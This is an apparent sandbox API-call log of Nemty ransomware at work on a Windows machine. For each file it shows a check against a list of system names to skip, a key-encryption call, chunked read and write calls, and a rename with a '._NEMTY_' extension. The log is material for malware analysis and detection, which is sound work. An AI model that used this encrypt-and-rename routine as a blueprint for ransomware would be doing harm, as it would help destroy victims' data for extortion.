1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="RECYCLER") returned 1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="BOOTSECT.BAK") returned 1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="bootmgr") returned 1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="programdata") returned 1 [0068.575] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="appdata") returned 1 [0068.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_mainImage-mask.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0068.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_mainImage-mask.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_mainImage-mask.png", lpUsedDefaultChar=0x0) returned 24 [0068.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0068.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_mainImage-mask.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0068.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_mainImage-mask.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_mainImage-mask.png", lpUsedDefaultChar=0x0) returned 24 [0068.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0068.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_mainImage-mask.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0068.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_mainImage-mask.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_mainImage-mask.png", lpUsedDefaultChar=0x0) returned 24 [0068.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_mainImage-mask.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0068.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0068.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_mainImage-mask.png", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_mainImage-mask.png", lpUsedDefaultChar=0x0) returned 24 [0068.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0068.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0068.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0068.576] Sleep (dwMilliseconds=0x5) [0068.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdc87c290, dwHighDateTime=0x1d561e7)) [0068.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdc87c290, dwHighDateTime=0x1d561e7)) [0068.591] GetLastError () returned 0x5 [0068.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.591] GetLastError () returned 0x5 [0068.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0068.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0068.591] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0068.591] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0068.592] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0068.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0068.592] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="2kNnJb1b70tEm/jO7dDP/5CL25J4E63qiCtmMYC0oubwTGkcb9DlaV9mczV8QQQV\r\nG4BFfuz00PrxLtX39NBdqwn3tMh+tIP9snZBGgK8u/J4r74cSvTDErqcSnA9/7H+\r\ntpZJGxFkeOCsmW1J4wI779apgiyYy0GtHQOTZezIee2KHcD0IKn7cVhJycp0fVue\r\nIfUKbzmtL0tam7RBKLaYN21LCp31gBRdxNICvc7GhXFT1TPc78hH0VdXfbY11elJ\r\nwYTmJGKjZYF848DsGoWuMZFGJY4EZE4hPT/lppdq7DlKk6YyWZ4aZB4GQ9qgeieK\r\npIzzDOOFJ6bFcFsCKU9+Xg==\r\n", pcchString=0x653e91c) returned 1 [0068.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0068.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0068.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0068.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0068.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0068.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0068.592] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0068.592] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0068.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0068.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.592] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.601] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.601] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.611] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.611] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.620] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.630] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.630] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.639] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.639] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.649] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.649] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.658] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.658] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.668] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.668] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.677] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.677] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.686] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.686] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.692] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.692] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.698] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.698] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0068.698] CloseHandle (hObject=0xffffffff) returned 0 [0068.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0068.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0068.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0068.699] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0068.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0068.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0068.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0068.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0068.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0068.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0068.699] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png._nemty_kgobjgd_")) returned 0 [0068.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0068.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0068.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0068.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0068.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0068.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0068.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0068.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0068.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0068.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.699] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 1 [0068.699] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2=".") returned 1 [0068.699] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="..") returned 1 [0068.699] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="...") returned 1 [0068.699] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="windows") returned -1 [0068.699] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="$RECYCLE.BIN") returned 1 [0068.699] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="rsa") returned 1 [0068.699] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="NTDETECT.COM") returned 1 [0068.699] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="ntldr") returned 1 [0068.699] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="MSDOS.SYS") returned 1 [0068.699] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="IO.SYS") returned 1 [0068.699] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="boot.ini") returned 1 [0068.700] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="boot.ini") returned 1 [0068.700] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="AUTOEXEC.BAT") returned 1 [0068.700] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="ntuser.dat") returned 1 [0068.700] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="desktop.ini") returned 1 [0068.700] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="CONFIG.SYS") returned 1 [0068.700] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="RECYCLER") returned 1 [0068.700] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="BOOTSECT.BAK") returned 1 [0068.700] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="bootmgr") returned 1 [0068.700] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="programdata") returned 1 [0068.700] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="appdata") returned 1 [0068.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_select-highlight.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0068.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_select-highlight.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_select-highlight.png", lpUsedDefaultChar=0x0) returned 26 [0068.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0068.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_select-highlight.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0068.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_select-highlight.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_select-highlight.png", lpUsedDefaultChar=0x0) returned 26 [0068.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0068.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 